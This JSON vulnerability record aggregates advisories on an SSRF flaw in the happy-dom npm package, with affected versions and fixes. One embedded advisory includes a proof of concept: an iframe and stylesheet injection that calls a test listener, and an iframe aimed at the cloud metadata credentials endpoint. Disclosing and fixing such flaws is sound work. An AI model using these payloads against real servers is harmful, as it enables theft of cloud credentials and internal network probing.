{"id":"CVE-2026-118660","aliases":["DHI-tj5a-yei3-fwv5-3iun","GHSA-c8p4-j97h-3vg8"],"summary":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","published_at":"2026-10-28T20:23:10.122Z","modified_at":"2026-11-16T02:36:19.417666Z","products":[{"slug":"rhel","name":"Red Hat Enterprise Linux","category":"red-hat"}],"rating":{"severity":"high","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.004050000105053186,"percentile":0.3538300096988678,"date":"2026-11-18T00:00:00Z"},"priority":10.6,"details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","affected_stack":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118660","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118660","relation":"self"}],"affected_other":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 21.0.0"],"provider":"cvelistv5","source":"CVE-2026-118660","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.12.0-tuxcare.0"},{"fixed":"20.12.0-tuxcare.2"}]}],"versions":["20.12.0","20.12.0-tuxcare.1"],"fixed":["20.12.0-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793700814","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.2"}]}],"versions":["9.10.9","9.10.9-tuxcare.1"],"fixed":["9.10.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793974322","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.6"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3","9.20.3-tuxcare.4","9.20.3-tuxcare.5"],"fixed":["9.20.3-tuxcare.6"],"provider":"osv","source":"CLSA-2026-1793974458","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.3"}]}],"versions":["14.12.3","14.12.3-tuxcare.1","14.12.3-tuxcare.2"],"fixed":["14.12.3-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793974549","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.5"}]}],"versions":["15.11.7","15.11.7-tuxcare.1","15.11.7-tuxcare.2","15.11.7-tuxcare.3","15.11.7-tuxcare.4"],"fixed":["15.11.7-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793974658","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.3"}]}],"versions":["20.8.8","20.8.8-tuxcare.1","20.8.8-tuxcare.2"],"fixed":["20.8.8-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793981813","relation":"upstream"},{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.0.0"}]}],"fixed":["21.0.0"],"provider":"osv","source":"GHSA-c8p4-j97h-3vg8","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-118660"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-118660"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-feature-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-118660"}],"records":[{"provider":"osv","source_id":"CLSA-2026-1793700814","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793700814","published_at":"2026-11-03T11:13:35Z","modified_at":"2026-11-03T13:30:04.059695Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.12.0-tuxcare.0"},{"fixed":"20.12.0-tuxcare.2"}]}],"versions":["20.12.0","20.12.0-tuxcare.1"],"fixed":["20.12.0-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793700814","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974322","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974322","published_at":"2026-11-06T15:12:03Z","modified_at":"2026-11-06T19:00:04.387927Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.2"}]}],"versions":["9.10.9","9.10.9-tuxcare.1"],"fixed":["9.10.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793974322","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974458","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974458","published_at":"2026-11-06T15:14:19Z","modified_at":"2026-11-06T19:00:03.376785Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.6"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3","9.20.3-tuxcare.4","9.20.3-tuxcare.5"],"fixed":["9.20.3-tuxcare.6"],"provider":"osv","source":"CLSA-2026-1793974458","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974549","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974549","published_at":"2026-11-06T15:15:50Z","modified_at":"2026-11-06T19:00:03.387649Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.3"}]}],"versions":["14.12.3","14.12.3-tuxcare.1","14.12.3-tuxcare.2"],"fixed":["14.12.3-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793974549","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974658","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974658","published_at":"2026-11-06T15:17:39Z","modified_at":"2026-11-06T19:00:03.394776Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.5"}]}],"versions":["15.11.7","15.11.7-tuxcare.1","15.11.7-tuxcare.2","15.11.7-tuxcare.3","15.11.7-tuxcare.4"],"fixed":["15.11.7-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793974658","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793981813","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793981813","published_at":"2026-11-06T17:16:54Z","modified_at":"2026-11-06T19:00:02.357632Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.3"}]}],"versions":["20.8.8","20.8.8-tuxcare.1","20.8.8-tuxcare.2"],"fixed":["20.8.8-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793981813","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"cvelistv5","source_id":"CVE-2026-118660","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-118660","license":"CC-BY-4.0","published_at":"2026-10-28T20:23:10.122Z","modified_at":"2026-10-29T17:23:32.163Z","summary":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"CVE-2026-118660"}],"affected":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 21.0.0"],"provider":"cvelistv5","source":"CVE-2026-118660","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"}]},{"provider":"osv","source_id":"DHI-tj5a-yei3-fwv5-3iun","relation":"self","url":"https://osv.dev/vulnerability/DHI-tj5a-yei3-fwv5-3iun","license":"Apache-2.0","published_at":"2026-11-11T19:27:42Z","modified_at":"2026-11-16T02:36:19.417666Z","summary":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy…","details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"DHI-tj5a-yei3-fwv5-3iun"}],"affected":[{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-tj5a-yei3-fwv5-3iun","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-tj5a-yei3-fwv5-3iun"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"ADVISORY","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"}]},{"provider":"osv","source_id":"GHSA-c8p4-j97h-3vg8","relation":"self","url":"https://osv.dev/vulnerability/GHSA-c8p4-j97h-3vg8","license":"CC-BY-4.0","published_at":"2026-10-28T21:06:42Z","modified_at":"2026-10-28T21:15:05.975638Z","summary":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","details":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel=\"stylesheet\">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom <= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('<html><body>stolen</body></html>');\n});\n\nsrv.listen(9995, () => {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('<html><body><iframe src=\"http://127.0.0.1:9995/iframe-ssrf\"></iframe></body></html>');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('<html><head><link rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"></head><body></body></html>');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('<html><body><iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"></iframe></body></html>');\n```\n\n## Impact\n- **Cloud credential theft** — `<iframe src=\"http://169.254.169.254/...\">` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"GHSA-c8p4-j97h-3vg8"}],"affected":[{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.0.0"}]}],"fixed":["21.0.0"],"provider":"osv","source":"GHSA-c8p4-j97h-3vg8","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"}]},{"provider":"redhat-vex","source_id":"CVE-2026-118660","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-118660","license":"CC-BY-4.0","published_at":"2026-10-28T20:23:10.122Z","modified_at":"2026-10-30T07:13:25.872959Z","summary":"happy-dom: happy-dom: Server-Side Request Forgery via default loading of external resources","details":"A flaw was found in happy-dom. By default, external resources such as inline frame (iframe) sources and stylesheets are automatically fetched when parsing HTML documents on the server. A remote attacker who supplies untrusted HTML can trigger Server-Side Request Forgery (SSRF), forcing the application to make unauthorized network requests to internal network services or cloud endpoints. This could lead to information disclosure, exposing confidential internal responses or credentials.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","source":"CVE-2026-118660"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-118660"}],"affected":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118660","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118660","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-118660"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-118660"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-feature-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-118660"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-118660.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-118660"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2563184"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-118660"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"}]}],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2502"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-tj5a-yei3-fwv5-3iun"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c8p4-j97h-3vg8"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-118660.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-118660"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2563184"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-118660"}],"sources":[{"provider":"osv","source_id":"CLSA-2026-1793700814","url":"https://osv.dev/vulnerability/CLSA-2026-1793700814","modified_at":"2026-11-03T13:30:04.059695Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974322","url":"https://osv.dev/vulnerability/CLSA-2026-1793974322","modified_at":"2026-11-06T19:00:04.387927Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974458","url":"https://osv.dev/vulnerability/CLSA-2026-1793974458","modified_at":"2026-11-06T19:00:03.376785Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974549","url":"https://osv.dev/vulnerability/CLSA-2026-1793974549","modified_at":"2026-11-06T19:00:03.387649Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974658","url":"https://osv.dev/vulnerability/CLSA-2026-1793974658","modified_at":"2026-11-06T19:00:03.394776Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793981813","url":"https://osv.dev/vulnerability/CLSA-2026-1793981813","modified_at":"2026-11-06T19:00:02.357632Z","relation":"upstream"},{"provider":"cvelistv5","source_id":"CVE-2026-118660","url":"https://www.cve.org/CVERecord?id=CVE-2026-118660","license":"CC-BY-4.0","modified_at":"2026-10-29T17:23:32.163Z","relation":"self"},{"provider":"osv","source_id":"DHI-tj5a-yei3-fwv5-3iun","url":"https://osv.dev/vulnerability/DHI-tj5a-yei3-fwv5-3iun","license":"Apache-2.0","modified_at":"2026-11-16T02:36:19.417666Z","relation":"self"},{"provider":"osv","source_id":"GHSA-c8p4-j97h-3vg8","url":"https://osv.dev/vulnerability/GHSA-c8p4-j97h-3vg8","license":"CC-BY-4.0","modified_at":"2026-10-28T21:15:05.975638Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-118660","url":"https://access.redhat.com/security/cve/CVE-2026-118660","license":"CC-BY-4.0","modified_at":"2026-10-30T07:13:25.872959Z","relation":"self"}]}
